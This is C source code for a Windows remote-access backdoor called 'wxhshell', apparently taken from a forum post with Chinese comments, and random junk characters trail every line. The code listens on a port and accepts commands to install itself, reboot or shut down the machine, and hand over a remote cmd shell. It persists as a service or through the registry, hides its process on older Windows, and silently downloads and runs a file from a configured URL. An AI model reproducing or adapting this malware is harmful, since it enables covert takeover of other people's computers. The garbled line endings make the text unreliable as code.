Wjf,AjL\  
    switch(cmd[0]) { J/T$.*X  
  |:[ [w&R  
  // 帮助 IXA3G7$)  
  case '?': { V$OZC;4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cUB+fH<B2  
    break; >^odV ;^  
  } =uG}pgh0  
  // 安装 *PSUB{i(  
  case 'i': { KO!.VxG]_  
    if(Install()) =PQMd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B)!ty"  
    else qG&}lg?g{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /RF=8,A  
    break; m N&G  
    } V{D~e0i/v  
  // 卸载 d[( }  
  case 'r': { z yh #ygH  
    if(Uninstall()) kiP-^Wan  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,SVl>~!  
    else q$ZmR]p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &N+i3l6`  
    break; eI#b%h  
    } Zb? u'Vm=u  
  // 显示 wxhshell 所在路径 tjId?}\  
  case 'p': { jeu|9{iTVu  
    char svExeFile[MAX_PATH]; 8c%Sd'+Pt  
    strcpy(svExeFile,"\n\r"); LtK= nK  
      strcat(svExeFile,ExeFile); m ?)k&{I  
        send(wsh,svExeFile,strlen(svExeFile),0); @,\J\ rb  
    break; ?D?l dg  
    } ^J]_O_ee$  
  // 重启 /%F}vW(!  
  case 'b': { p)k5Uh"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1 x'H #  
    if(Boot(REBOOT)) (p?7-~6|:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3_ P<0%  
    else { Yvn*evO4  
    closesocket(wsh); e$t$,3~  
    ExitThread(0); jl)7Jd  
    } =^5,ua6  
    break; {0Jpf[.f  
    } ,qz:(Nr  
  // 关机 R5b!Ao  
  case 'd': { 2m8|0E|@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wRj||yay#-  
    if(Boot(SHUTDOWN)) Z !81\5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bd$``(b`v  
    else { j8cXv  
    closesocket(wsh); t(.jJ>|+*  
    ExitThread(0); <aR sogu"P  
    } x o{y9VS  
    break; V/dL-;W;  
    } 7.W$6U5  
  // 获取shell ahmxbv3f=5  
  case 's': { t`!@E#VK  
    CmdShell(wsh); &W*do  
    closesocket(wsh); |!?lwBs4  
    ExitThread(0); /h v2=A  
    break; .[Nr2w:>  
  } 86f8b{_e"  
  // 退出 <t"KNKI  
  case 'x': { .Y*jL&!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eelkK,4  
    CloseIt(wsh); c`agrS:P  
    break; ?`+G0VT  
    } 9cJ1J7y  
  // 离开 t wr-+rm2  
  case 'q': { Evy_I+l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'u84d=*l  
    closesocket(wsh); 2,^ U8/  
    WSACleanup(); i[O{ M`Z%  
    exit(1); 14S_HwX  
    break; {=Z _L?j  
        } m2j]wUh"  
  } &0k`=?v$  
  } d cG)ql4d  
%h9'kJzNk  
  // 提示信息 t^|GcU]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .:(T}\]R  
} r=4vN=:  
  } vo!QJ  
9 .3?$(  
  return; 6Q~(ibKx  
} KGP*G BZr  
LKsK!X  
// shell模块句柄 mrGfu:r  
int CmdShell(SOCKET sock) >MLP mER  
{ D6vhW:t8?  
STARTUPINFO si; w^=uq3X?  
ZeroMemory(&si,sizeof(si)); M=t;t0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :\cid]y3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qbq.r&F&  
PROCESS_INFORMATION ProcessInfo; >E\U$}WCG  
char cmdline[]="cmd"; "59"HVV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Fu\!'\6  
  return 0; =jD9oMs  
} r=Od%  
'&<saqA  
// 自身启动模式 _(J4  
int StartFromService(void) n?S~(4%  
{ &j!q9F  
typedef struct Gg# 1k TK  
{ J_}Rsp ED  
  DWORD ExitStatus; iVZ X  
  DWORD PebBaseAddress; o! Y61S(  
  DWORD AffinityMask; xWxgv;Ah  
  DWORD BasePriority; Rl[SqmnI)@  
  ULONG UniqueProcessId; kR]AW60OE  
  ULONG InheritedFromUniqueProcessId; 2=`}:&0l  
}   PROCESS_BASIC_INFORMATION; t+IrQf,P[  
3( o~|%  
PROCNTQSIP NtQueryInformationProcess; E! mxa  
8\BYm|%aa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d8N4@3CkL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N@3&e;y  
[+(fN  
  HANDLE             hProcess; c1}i|7/XSi  
  PROCESS_BASIC_INFORMATION pbi; ~aL&,0  
\o<&s{ 6L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?O.'_YS  
  if(NULL == hInst ) return 0; 8umW>  
Gr|IM,5P4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 30<3DA_P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q4B(NYEu(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H|I.h{:  
Nf1&UgX  
  if (!NtQueryInformationProcess) return 0; kB]?95>Wx  
`^'0__<M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9ohO-t$XkY  
  if(!hProcess) return 0; ot; ]?M  
SS7C|*-Zd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $m[* )0/  
UYkuz  
  CloseHandle(hProcess); U`kO<ztk  
gI{56Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Sp./*h\}  
if(hProcess==NULL) return 0; "Ax#x  
p.RSH$]  
HMODULE hMod; wY{!gQ  
char procName[255]; 6>F1!Q  
unsigned long cbNeeded; .,&6 x.  
IiZXIG4H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _64<[2  
G`R_kg9$  
  CloseHandle(hProcess); UdK+,k~m/  
U!i@XA%P  
if(strstr(procName,"services")) return 1; // 以服务启动 $&KiN82,  
M <c cfU!  
  return 0; // 注册表启动 >gZ"^iW  
} qLk7C0  
F ,h}HlU  
// 主模块 2U rE>_  
int StartWxhshell(LPSTR lpCmdLine) XT{o ]S~nq  
{ 41 #YtZ  
  SOCKET wsl; ?a{>QyL  
BOOL val=TRUE; =g<Yi2  
  int port=0; %+ur41HM  
  struct sockaddr_in door; f@H>by N  
M6:$ 0(r  
  if(wscfg.ws_autoins) Install(); CooOBk  
F0tx.]uS  
port=atoi(lpCmdLine); a~A"uLBR  
g<s;uRA4O9  
if(port<=0) port=wscfg.ws_port; TykY>cl   
KYC<*1k  
  WSADATA data; U{PFeR,Uk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8c'5P  
)( W%Hmi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   an,JV0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +{[E Ow  
  door.sin_family = AF_INET; Oz4yUR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u=& $Z  
  door.sin_port = htons(port); =:(<lKf,<F  
(F'?c1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6;p"xC-  
closesocket(wsl); *#c^.4$'  
return 1; M(#]NTr ~4  
} YnW,6U['{g  
eDL0Vw  
  if(listen(wsl,2) == INVALID_SOCKET) { g#r,u5<*?  
closesocket(wsl); ~vstuRRST  
return 1; 41^ $  
} VCc57 Bo  
  Wxhshell(wsl); iuHs.k<z  
  WSACleanup(); FcmL 4^s.`  
X,ok3c4X  
return 0;  "xp>Vj  
*%jd>e7d  
} *FC26_pH  
;0;5+ J7  
// 以NT服务方式启动 v0,&wdi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rkh ^|_<!  
{ $*vj7V_  
DWORD   status = 0; * vP:+]  
  DWORD   specificError = 0xfffffff; 0&2eiMKG?n  
Q)ZbnR2Z8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %lqrq<Xn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c2Up<#t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U'Fc\M5l/l  
  serviceStatus.dwWin32ExitCode     = 0; &OP =O*B  
  serviceStatus.dwServiceSpecificExitCode = 0; HVaKy+RU  
  serviceStatus.dwCheckPoint       = 0; 6d%)MEM  
  serviceStatus.dwWaitHint       = 0; W kSv@Y,  
eN-lz_..7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S\W&{+3  
  if (hServiceStatusHandle==0) return; c*Q6k<SKR  
apd"p{  
status = GetLastError(); =(W l'iG   
  if (status!=NO_ERROR) _{48s8V  
{ 8e}8@[h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zZI7p[A[3  
    serviceStatus.dwCheckPoint       = 0; f<l.%B  
    serviceStatus.dwWaitHint       = 0; (m& ''yaH  
    serviceStatus.dwWin32ExitCode     = status; :my@Oxx4@  
    serviceStatus.dwServiceSpecificExitCode = specificError; cDqj&:$e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 66MWOrr  
    return; q\T}jF\t  
  } , \R,O  
.q_SA-!w>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HFTDea+#  
  serviceStatus.dwCheckPoint       = 0; TDY =!  
  serviceStatus.dwWaitHint       = 0; '^~3 8=FA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mBWhC<kKs  
} <7yn:  
sZYTpZgW4L  
// 处理NT服务事件,比如:启动、停止 Ng+Ge5C9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VIg=| Oe),  
{ Mp)|5<%  
switch(fdwControl) uW^W/S%'  
{ | sZu1K  
case SERVICE_CONTROL_STOP: g0"KC X  
  serviceStatus.dwWin32ExitCode = 0; -KU@0G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8b:\@]g$  
  serviceStatus.dwCheckPoint   = 0; wm s@1~I  
  serviceStatus.dwWaitHint     = 0; rK r2 K'  
  { IXt cHAgX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UCS`09KNJ  
  } DY!mq91  
  return; [nG[@)G~0M  
case SERVICE_CONTROL_PAUSE: 4{J'p19  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6HxZS+], c  
  break; kJ:zMVN  
case SERVICE_CONTROL_CONTINUE: l$eKV(CZ4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 77o&$l,A|  
  break; `%Uz0hF  
case SERVICE_CONTROL_INTERROGATE: jG~UyzWH;  
  break; V'XvwO@  
}; ~ZXAW~a}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C! J6"j  
} ~n`G>Oe3  
\|q.M0  
// 标准应用程序主函数 W5a>6u=g,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TM?7F2  
{ E?3$ *t  
TM1J1GU  
// 获取操作系统版本 N6*v!M+  
OsIsNt=GetOsVer(); .W q"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <|_b:  
jj*e.t:F  
  // 从命令行安装 M}W};~V2ng  
  if(strpbrk(lpCmdLine,"iI")) Install(); tx{tIw^2;  
i=8){G X4  
  // 下载执行文件 V0'_PR@;  
if(wscfg.ws_downexe) { 6N]V.;0_5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {_5PN^J  
  WinExec(wscfg.ws_filenam,SW_HIDE); DC8,ns]!y  
} >5}jM5$  
Dt8wd,B  
if(!OsIsNt) { C*fSPdg?  
// 如果时win9x,隐藏进程并且设置为注册表启动 b6~MRfx`7  
HideProc(); {glRX R  
StartWxhshell(lpCmdLine); &+>)H$5  
} 6 &)fZt  
else gw`}eA$  
  if(StartFromService()) <6)  w  
  // 以服务方式启动 'hw_ew   
  StartServiceCtrlDispatcher(DispatchTable); l#G }j^Q  
else #3o]Qo[Sc  
  // 普通方式启动 13:0%IO  
  StartWxhshell(lpCmdLine); 1F_ 1bAh$  
zPT!Fa`  
return 0; %xWscA%^u  
}
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只看该作者 1 发表于: 2006-10-10
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